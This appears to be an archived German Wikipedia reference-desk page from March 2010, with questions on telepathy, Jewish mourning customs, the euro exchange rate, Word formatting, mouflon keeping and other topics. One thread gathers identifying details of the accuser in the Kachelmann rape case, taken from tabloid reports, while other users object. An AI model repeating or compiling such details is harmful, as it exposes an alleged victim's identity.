nee, so ist es ganz sicher nicht gewesen. Mein Hund erkennt sich im Spiegel, und ist auch sonst ganz helle, der weiß wann er mich belästigen kann, letztens hatte ich eine ziemliche Party hinter mir, und mein Hund gab mir die Zeit bis ich fitt war, und das hatte ganz schön lange gedauert, der lag einfach rum und schnarrchte, und stand dann mit mir auf. Aber meine Mutter die sagt immer wenn ich sie Anrufe - das war jetzt eine Gedankenübertragung, ist echt so, ich denk an wem und ... tja, deshalb war auch die Frage, ich dachte wir sind hier schon so weit, aber denkste ;-(--188.23.179.240 17:10, 26. Mär. 2010 (CET)[Beantworten]
Dein Hund erkennt sich im Spiegel? Woran merkst Du das? Wenn Du das beweisen kannst, wär das eine wissenschaftliche Sensation – das ist nicht im Mindesten ironisch gemeint. --Cú Faoil RM-RH 22:36, 26. Mär. 2010 (CET)[Beantworten]
Auf Grund Deiner übernatürlichen Fähigkeiten und die Deines Kampfhundes habe ich auch sofort gespürt, wer Du bist.--91.56.205.52 17:16, 26. Mär. 2010 (CET)[Beantworten]
Punkt 1 - es gibt keine Kampfhunde, Punkt 2 - wieso sollte dies ÜBER-sinnlich sein? man kann ja auch degeneriert sein vom Fernsehen, und den Tipp bekommst du von mir Gratis, schönen Tag noch --188.23.179.240 17:36, 26. Mär. 2010 (CET)[Beantworten]
Dass du keine Kampfhunde kennst, heißt nicht, dass es keine Kampfhunde gibt. Das ist wirklich Selektive Wahrnehmung. Es gibt sogar einen Artikel Kampfhund bei Wikipedia. Die muss es also geben. --131.173.17.161 21:31, 26. Mär. 2010 (CET) so wie Bielefeld[Beantworten]
Nochmal Selektive Wahrnehmung :). - Aber wenn du dir sicher bist das dein Hund und deine Mutter übernatürliche Fähigkeiten besitzen, dann gehe direkt dort hin James_Randi_Educational_Foundation und kassiere 1 Million Dollar. Das bisher noch niemand die Million mit nach Hause genommen hat sagt auch einiges über Übernatürliche Fähigkeiten aus. --FNORD 17:37, 26. Mär. 2010 (CET)[Beantworten]
die Foundation sache kenn ich, aber um das geht es nicht, und ist mir auch ziemlich egal, denn ich kann weder ein Streichholz verbiegen noch einen Löffel zerdrücken ;-) Ich wollte lediglich wissen ob es einen Ansatz für solche Erklärungen gibt, aber da fehlt es ganz und ist alles ziemlich dubios --188.23.179.240 17:46, 26. Mär. 2010 (CET)[Beantworten]
Dazu fehlt gar nichts. Das ist alles hinreichend erforscht. Aber wenn du daran glauben willst ist daran nichts Verkehrtes. Freue dich das du dich mit deinem Hund so gut verstehst das es an Telepathie grenzt und sei unkritisch glücklich damit. --FNORD 17:59, 26. Mär. 2010 (CET)[Beantworten]
Fehler, ich glaub ich weiß jetzt was es ist, denn es funktioniert bei Menschen die "gut" drauf sind, dann ist man auf der selben Wellenlänge, das bedeutet; auf einem Level, da versteht man sich blind, sieht man öfters bei Pärchen, Und ganz sicher hat es etwas mit der Lieb zu tun, und eine reinen Geist, aber das interessiert hier ja sowieso keinen - und wenn zwei oder mehr in meinem Namen zusammen sind, dann bin ich mitten unter Ihnen - aber das ist halt eine andere Ebene - und deshalb bin ich natürlich der Idiot weil es andere nicht verstehen --188.23.67.185 19:16, 26. Mär. 2010 (CET)[Beantworten]
Verstehen schon. Aber Menschen neigen nun mal zu selektiver Wahrnehmung bzw. Erinnerung, zum Verknüpfen von Wahrnehmungen als ursächlich zusammenhängend usw. Simples Beispiel: Wenn man an jemanden denkt und der ruft unmittelbar darauf an oder biegt um die Ecke, empfindet man das als etwas besonderes, behält es in Erinnerung. Man merkt sich aber nicht, wenn man an jemanden denkt und es passiert gar nix. Oder wenn jemand anruft, auch wenn man nicht kurz vorher an ihn gedacht hat. Das ist ja das normale. So z. B. kann es zu einer Selbsttäuschung kommen, die einem sehr überzeugend erscheint. Die Sache mit den Vollmondnächten ist ganz ähnlich gelagert.
Klar können sich Menschen blind verstehen, wenn sie sehr vertraut sind. Oder auch ein Mensch und ein Hund. Da werden aber vor allem unbewusst sehr subtile Signale ausgetauscht und beide wissen viel voneinander. Rainer Z ... 20:27, 26. Mär. 2010 (CET)[Beantworten]
Dazu haben wir übrigens den Artikel Cold Reading. Gruss, --Cú Faoil RM-RH 22:39, 26. Mär. 2010 (CET)[Beantworten]

Jüdische Beerdigung

Ich habe irgendwo gelesen, dass man sich bei jüdischen Beerdigungen rituell einen Stoffstreifen oder so was von der Kleidung reißt. Gibt es dafür (für den Stofffetzen) einen Namen?--92.225.92.149 12:50, 26. Mär. 2010 (CET)[Beantworten]

meines Wissens zeriss man früher aus Trauer seine Kleidung, ich nehme an das man um jene zu schonen heute Stofffetzen verwendet, oder eine Krawatte... PogoEngel 13:38, 26. Mär. 2010 (CET)[Beantworten]
das ist sicher in der symbolik des zerissenen herzens zu sehen. PogoEngel 13:40, 26. Mär. 2010 (CET)[Beantworten]
So sagt das der Zentralrat der Juden ebenfalls: [27] --FNORD 14:05, 26. Mär. 2010 (CET)[Beantworten]
Wow - Krass ! *selbstschulterklopf* PogoEngel 14:11, 26. Mär. 2010 (CET)[Beantworten]
Das Einreißen der Kleider: Nach dem Kaddisch reißt man aus Trauer um den Toten seine Kleider ein. Ein Mitglied der Chewra Kadischa tritt zu jedem einzelnen Trauernden und reißt den Saum seines Gewandes ein, und dann sagt der Trauernde einen Segensspruch und ergreift die Ecke des Gewandes, zieht es stärker nach unten und vergrößert auf diese Weise eigenhändig den Riß. Eine Frau der Chewra Kadischa vollzieht die gleiche Handlung bei den trauernden Frauen. Ist der Vater oder die Mutter gestorben, wird das Gewand an der linken Seite des Trauernden eingerissen, bei anderen Verwandten rechts. Ein Riß über den Tod eines Vaters oder einer Mutter wird nie wieder geflickt, und das Gewand wird nach der Schiwa, der siebentägigen Trauerwoche, nicht zum Ausbessern weggegeben; dagegen kann der Riß über den Tod eines anderen Verwandten geflickt werden. -- Michael Kühntopf 15:21, 26. Mär. 2010 (CET)[Beantworten]
Der Begriff dafür ist übrigens: קריעה, qrijjah, "Einriss" -- Michael Kühntopf 15:34, 26. Mär. 2010 (CET)[Beantworten]
Danke, die Tradition scheint euch recht alt zu sein, ich habe da eine Stelle aus Joel im Hinterkopf, "Zerreißt eure Herzen,nicht eure Kleider" so in die Richtung. -- PogoEngel 16:18, 26. Mär. 2010 (CET)[Beantworten]

Sinkender Eurokurs - positive und negative Auswirkungen im Kontext zur "Krise" ?

Ich bin ja ein Wirtschaftslaie, aber verfolge natürlich auch Medienberichte zum Euro, wie etwa hier. Meine Frage wäre, nachdem ich den Artikel Abwertung gelesen habe, ob dies gerade in Krisenzeiten nicht auch auch positive Auswirkungen hat, bzw wie das Verhältnis zu negativen/positiven Wirkungen ist. Man denke etwa auch an die künstlich niedrig gehaltene Währung Chinas, die den Staat ja den Exportweltmeister eingebracht hat. Bin ich da etwas zuu blauäugig?! ;-) Ein Einwand, der mir gerade einfällt, wäre ja, das Deutschland kein Rohstoffland ist und daher teuer importieren müsste. Gruß----Zaphiro Ansprache? 16:12, 26. Mär. 2010 (CET)[Beantworten]

Du fragst also, ob die Vor- und Nachteile unterschiedlich bewertet werden müssen, je nachdem wie die geografische oder politische Lage des Landes ist. Antwort: ja. Sicherlich wirst du dazu etwas in Abwertung#Literatur finden. --Ayacop 16:37, 26. Mär. 2010 (CET)[Beantworten]
...Sicherlich Post 17:52, 26. Mär. 2010 (CET) ;o) [Beantworten]
Ja der niedrige Eurokurs hat positive Effekte. Die Exporte steigen. Für Deutschland als Hochtechnologieexportland dürfte das vorteilhaft sein für die Wirtschaft und negativ für den Bürger. Seine Kaufkraft sinkt für importierte Waren. Ein niedriger Eurokurs sollte allerdings im Gegenzug durch die höheren Exporte auch zusätzliche Arbeitsplätze schaffen. Wie schon erwähnt macht das China sehr erfolgreich vor. Die Exportpreise für die Waren werden durch die Kopplung an den Dollar künstlich niedrig gehalten. --FNORD 17:56, 26. Mär. 2010 (CET)[Beantworten]
(BK) ich frage, was letztendlich überwiegen würde, wie sah das etwa in der Geschichte der DM oder anderer Währungen vergleichbarer Staaten aus, nicht zu vergessen habe ich ja auch noch das Gejammere über den hohen Euro in den Ohren (Exportbremse etc pp)----Zaphiro Ansprache? 17:57, 26. Mär. 2010 (CET)[Beantworten]
@FNORD: wobei aber längerfristig eine Verlagerung von Arbeitsplätzen ins Ausland gerade wegen der höheren Importpreise möglich wäre, oder liege ich da falsch ?!----Zaphiro Ansprache? 18:00, 26. Mär. 2010 (CET)[Beantworten]
Ja. :) Es sei denn man gleicht es durch Subventionen aus. Was wir bei Lebensmitteln und Rohstoffen ja auch ausgiebig machen. Das ist aber denke ich nicht so sehr der EURO. Wir sparen uns einfach gerade selbst arm. Mit jedem Kauf eines aussereuropäischen Billigproduktes vernichtet man langfristig gesehen den eigenen Arbeitsplatz. Und die Geiz ist Geil Mentalität herrscht schon seit Jahren vor. Das bisschen Währungsgeflacker macht da das Kraut nicht fett. Währungen steigen und sinken dauernd. Das gehört zur Wirtschaft wie gutes und schlechtes Wetter zum Leben. Einfach mal Eurokurs der letzten 10 Jahre ansehen [28]--FNORD 18:12, 26. Mär. 2010 (CET)[Beantworten]
da hast Du recht, bin ja von einer hypothetischen Annahme ausgegangen, aber danke für den Link, es war schon wesentlich schlimmer;-) wobei imho die spätere Stärke des Euros eher die Schwäche des Dollars war... ----Zaphiro Ansprache? 18:34, 26. Mär. 2010 (CET)[Beantworten]
Zu Anfangszeiten der DM, also etwa die erste Hälfte ihres Lebens, gab es folgendes Phänomen: die Produktivität der deutschen Arbeiter stieg fast immer schneller, als im umliegenden Ausland (Globalisierung spielte damals noch nicht wirklich eine Rolle). Das hatte zur Folge, dass der innere Wert der deutschen Währung stärker war als in Frankreich, GB oder Italien. Die Wechselkurse aber waren damals festgeschrieben, wodurch die deutsche Industrie im Export solange Vorteile hatte bis die Wechselkurse angepasst wurden. Das hinkte aber der Realität immer hinterher, weil das politische Establishment in Frankreich, GB, Spanien usw. eine Abwertung der eigenen Währung als "Erniedrigung" empfand. In den 70ern funktionierte das dann so schlecht, dass die Kurse mehr oder weniger freigegeben wurden (Bretton-Woods-System). Vorteil: der Markt gleicht schneller die unterschiedlich starken Wirtschaften in den Ländern aus. Nachteil: Devisenspekulanten können gegen die Realität handeln und Staaten schaden. Sowohl in der Biographie von Otmar Emminger als auch in einigen Büchern von Helmut Schmidt ist das ganz gut dargestellt. --84.172.15.64 19:59, 26. Mär. 2010 (CET)[Beantworten]

Einheit

In welcher Einheit misst man normalerweise den Flächeninhalt des Deltoides? --88.117.106.64 18:30, 26. Mär. 2010 (CET)[Beantworten]

Du meinst Deltoid? Mathematikern sind Einheiten ziemlich wurscht, Drachenbauer werden vielleicht in cm messen, Vermessungstechniker vermutlich in Metern - du muss da schon etwas genauer fragen. --El Grafo 18:46, 26. Mär. 2010 (CET)[Beantworten]
Flächen sind aber keine Längen. Üblicherweise wird eine Fläche eher berechnet als gemessen. Gemessen werden dann Längen, zum Beispiel eben in m und abgeleiteten Einheiten davon wie cm oder mm (→ Längenmaß). Flächeneinheiten sind m² und abgeleitete Einheiten davon wie cm² oder mm² (→ Flächenmaß). Anka Wau! 18:53, 26. Mär. 2010 (CET)[Beantworten]
Autsch! Du hast natürlich vollkommen Recht. Kannste mal sehen, wie selbstverständlich man (ich) davon ausgeht, dass man erstmal Längen misst und dann die Fläche berechnet (wobei das prinzipiell auch direkt geht: Planimeter). Ändert aber nichts an der Tatsache, dass die Frage ungenau war ;-) --El Grafo 20:08, 26. Mär. 2010 (CET)[Beantworten]

Gebärmutterkarzinom

Hallo, wer kennt sich mit Karzinom in der Gebärmutter aus, bin 52 Jahre alt und habe ab und an noch meine Regel. Was muß ich tun und wie muß ich mich verhalten? L.G. M.B. --89.247.106.29 18:51, 26. Mär. 2010 (CET)[Beantworten]

Zum Arzt gehen. Was sonst? ---kiesel- 18:52, 26. Mär. 2010 (CET)[Beantworten]
Wenn Du in der Wikipedia etwas Lesen willst zu dem, was Ärzte Dir sagen, fang an mit Uteruskarzinom. Bedenke: Du hast das Recht darauf, Dir alles von ÄrztInnen erklären zu lassen, bis Du es verstanden hast! Das kann Dein Computer Dir nicht bieten --Pfarrhaus 19:43, 26. Mär. 2010 (CET)[Beantworten]

"Freundin" vom Wetterfrosch (erl.)

Hallo, ist es gestattet zu fragen, wer sich hinter dem besagten Vergewaltigungsopfer, bzw. der Ex-Freundin von Jörg Kachelmann verbirgt. Habe von einer Petra gehört. Weiß jemeand genaueres?--88.72.138.194 18:51, 26. Mär. 2010 (CET)[Beantworten]

Könntest Du Deine Neugier auch zugunsten des Persönlichkeitsrechts der Betroffenen zügeln? Anka Wau! 18:55, 26. Mär. 2010 (CET)[Beantworten]
Nur so viel: Petra stimmt wohl nicht (Anmerkung unter dem Artikel beachten). Ralf G. 18:57, 26. Mär. 2010 (CET)[Beantworten]
Wollte ich auch gleich sagen. 88.72.138.194 muss ein Blick Leser sein. In der Bild heisst die Freundin Sabine. Sind wohl beide Namen falsch. Mit echtem Namen Heike Nocker-Bayer (48) tritt seine Ex auf und gibt auch gleich ihren Kommentar zur Geschichte. Ich nehme an dass deine Neugier damit noch nicht gestillt ist. Wir werden sehen ob der echt Name des angeblichen Opfers doch noch genannt wird. --Gustav Broennimann 19:07, 26. Mär. 2010 (CET)[Beantworten]

Mit welcher Selbstverständlichkeit hier (und in der Presse) von "Opfer" geredet wird. Dann stehen Tat und Täter wohl auch schon fest? --93.129.75.87 19:12, 26. Mär. 2010 (CET)[Beantworten]


Frag mal den Kachelmann oder die Staatsanwaltschaft. -jkb- 19:14, 26. Mär. 2010 (CET)[Beantworten]

laut BILD: 37 Jahre, Radiomoderatorin aus Schwetzingen, nach eigenen Angaben führte sie eine 11-jährige Beziehung mit J K--88.72.138.194 20:02, 26. Mär. 2010 (CET)[Beantworten]

Sag mal, wenn du die Antwort kennst, warum stellst du hier die Frage??? Und jetzt erledigt, schlage ich vor. -jkb- 20:13, 26. Mär. 2010 (CET) //war vorhin mit BK//[Beantworten]

Die Antwort erfuhr ich erst durch Hinweise von G.B.(vielen Dank!). --88.72.138.194 20:18, 26. Mär. 2010 (CET)[Beantworten]

Welcher Spieler war jemals in einer Saison die meisten Minuten im DFB-Pokal und 1. Bundesliga im Einsatz?

Kann die Statistik leider weder hier in WP noch bei google finden. Wäre dankbar über Infos.--84.185.3.219 20:11, 26. Mär. 2010 (CET)[Beantworten]

EA-Foto?

Was bitte bedeutet EA-Foto? Filmfotos werden ja so bezeichnet, aber eine genaue Definition konnte ich nicht finden.--80.138.208.60 20:18, 26. Mär. 2010 (CET)[Beantworten]

Die Sammler verstehen darunter, soweit ich weiß, ganz banal ein Erstaufführungsfoto, also ein Werbefoto zur Filmpremiere. Grüße 85.180.200.243 23:13, 26. Mär. 2010 (CET)[Beantworten]

Handy-Dynamos

Hallo,

Es gibt ja so kleine Dynamos, mit den man sein Handy zur Not auch ohne Steckdose für ein paar Minuten aufladen kann. Ich habe da schon mal gegoogelt und in die Rezensionen bei Amazon geschaut. Die Meinungen gingen in beiden Fällen sehr auseinander.

--Einer aus Finthen 20:41, 26. Mär. 2010 (CET) Hat hier schon jemand Erfahrungen damit gemacht und kann mir ggf ein gerät empfehlen?[Beantworten]

Ich hatte mir mal eins für'ne Bergwanderung ausgeliehen. Es hat funktioniert, für ein oder zwei nicht zu lange Gespräche reichte ne Kurbelei von etwa einer halben Minute. Schwachpunkt könnte allerdings die Mechanik sein, das Zahnradgetriebe hat bei den Billigteilen keine allzu gute Qualität, außerdem immer auf gute Schmierung achten. --Schlesinger schreib! 22:15, 26. Mär. 2010 (CET)[Beantworten]
Hmmmm. Hätte nie gedacht, daß die Handy-Technologie sich selber in Marconis Verbindungs-Kurbel-Zeiten versetzt. Ha. -jkb- 23:27, 26. Mär. 2010 (CET)[Beantworten]
Man kann Handys auch am [Fahrrad-Dynamo] aufladen. --Marcela 23:32, 26. Mär. 2010 (CET)[Beantworten]
Nur als ergänzender Hinweis (und weil ein Artikel dazu bei uns fehlt :): Mittlerweile gibt es auch ein Angebot an Solarladegeräten (Beispiel 1, Beispiel 2, Beispiel 3 für Fahrzeugbatterien). Für manche Bedarfsfälle möglicherweise eine Alternative. --84.191.48.132 00:31, 27. Mär. 2010 (CET)[Beantworten]

Windows Server 2003 und CIFS

Hallo,
beherrscht Microsoft Windows Server 2003 in allen Versionen aus dem Stand das CIFS-Protokoll oder nur das SMB-Protokoll zum Einbinden von Freigaben eines anderen Systems? Wenn nein, kann man die Funktion kostenfrei nachinstallieren oder ist die Funktion zusätzlich zu lizensieren?
Viele Grüße --Marsupilami (Disk|Beiträge) 20:53, 26. Mär. 2010 (CET)[Beantworten]

Frage zu Word 2002

Hallo! Ich will in Word eine Überschrift und danach Texte in Rahmen schreiben, wobei ich einen großen Rahmen um die Überschrift und die einzelnen kleineren Rahmen haben möchte. Wie mache ich das? --Verwaltungsgliederung 20:54, 26. Mär. 2010 (CET)[Beantworten]

Text markieren, dann Format>Rahmen und dann auswählen, welchen Rahmen man will. --Sr. F 21:43, 26. Mär. 2010 (CET)[Beantworten]
Den großen Rahmen erhältst du über Format/Rahmen und Schattierungen/Reiter Seitenrand. Wenn der Rahmen nicht über die ganze Seite gehen soll, dann Reiter Rahmen, übernehmen für Absatz (den du mit Leerzeilen auf Größe bringen kannst). Die kleinen Rahmen machst du dann über Textfelder, die du dann ihrerseits formatierst. Grüße 85.180.200.243 21:53, 26. Mär. 2010 (CET)[Beantworten]
Für kleine Rahmen in mehreren Spalten kannst du auch eine Tabelle anlegen mit kleineren Spalten für die Zwischenräume, und dann alle Gitternetzlinien unsichtbar machen, die du nicht brauchst. --Sr. F 22:11, 26. Mär. 2010 (CET)[Beantworten]

Las Vegas

Wie heissen die Einwohner von Las Vegas? --84.112.90.56 22:33, 26. Mär. 2010 (CET)[Beantworten]

Der Bürgermeister heißt Oscar B. Goodman. Die anderen Las-Veganer weiß ich nicht. -- Martin Vogel 22:39, 26. Mär. 2010 (CET)[Beantworten]
Laut en:Las Vegas, Nevada nennen die sich Las Vegans. Gruss, --Cú Faoil RM-RH 22:43, 26. Mär. 2010 (CET)[Beantworten]
Du frugest gestern nach den Einwohnern von Miami. Welche Städte werden als nächstes folgen? Aber, ich helfe dir, sofern ich dazu gewillt sein werde.--88.72.138.194 22:58, 26. Mär. 2010 (CET)[Beantworten]

Doña Isabella

Frage: Welche Doña Isabella war es, die wegen Ketzerei verbrannt wurde? Sie soll Cousine von König Phillip von Spanien gewesen sein. Blöderweise ist die Quelle, aus der ich das habe, derart unseriös, dass ich hoffe, hier Hilfe zu finden. --88.66.195.109 23:21, 26. Mär. 2010 (CET)[Beantworten]

Muffel - Privathaltung

Hallo, gibt es Besonderheiten zu beachten, wenn ich ein Mufflon, analog zu einem Hausschaf als Nutzvieh halten möchte? Darf ich das so ohne weiteres? Geht darum, weil es dem Jagdrecht unterliegt. Jagdhunde dürfen ja auch nicht von jedermann geführt werden.--KunzSN 23:23, 26. Mär. 2010 (CET)[Beantworten]

Das wird von Deinem Wohnort abhängen. In der Schweiz brauchst Du dazu eine Bewilligung zum Halten von Wildtieren, welche durch das Bundesamt für Veterinärwesen ausgestellt wird. Gruss, --Cú Faoil RM-RH 23:43, 26. Mär. 2010 (CET)[Beantworten]
Nun, ich komme aus Sachsen, wird wohl so ähnlich sein. Falls jemand genaueres weiß, wäre ich sehr dankbar. Gruß!--KunzSN 00:01, 27. Mär. 2010 (CET)[Beantworten]
Du willst ein ausgesprochenes Herdentier allein halten? Was sagt denn das Mufflon dazu? BerlinerSchule. 00:21, 27. Mär. 2010 (CET)[Beantworten]
Allein soll's nicht bleiben, es werden sich mindestens noch 2 Hausschafe dazugesellen. Die Frage ist nur, wenn denn möglich, tue ich mir Widder oder Schaf ein. Letzteres ist wahrscheinlich verträglicher.--KunzSN 00:35, 27. Mär. 2010 (CET)[Beantworten]
PS -Im Grunde geht's mir auch um die Trophäe, dafür bräuchte ich dann schon 'nen Widder.--KunzSN 00:47, 27. Mär. 2010 (CET)[Beantworten]

Schreibregel

Gibt oder gab es eine Regelung, nachdem die Zahlen von Eins bis Zwölf (bzw. Zehn) als Wort ausgeschrieben werden, und die zahlen ab 13 in Ziffern, bzw. Hundert und Tausend als Ausnahme davon?Oliver S.Y. 00:09, 27. Mär. 2010 (CET)[Beantworten]

Das ist im Buchdruck seit Alters her so üblich. Die Duden-„Regelungen für den Schriftsatz“ hingegen halten die Regel für Quatsch. PDD 00:30, 27. Mär. 2010 (CET)[Beantworten]
Ich kenne es als Eins, Zwei, Drei,...,Neunzehn, Zwanzig, 21, 22, 23, usw. --95.88.24.36 00:41, 27. Mär. 2010 (CET)[Beantworten]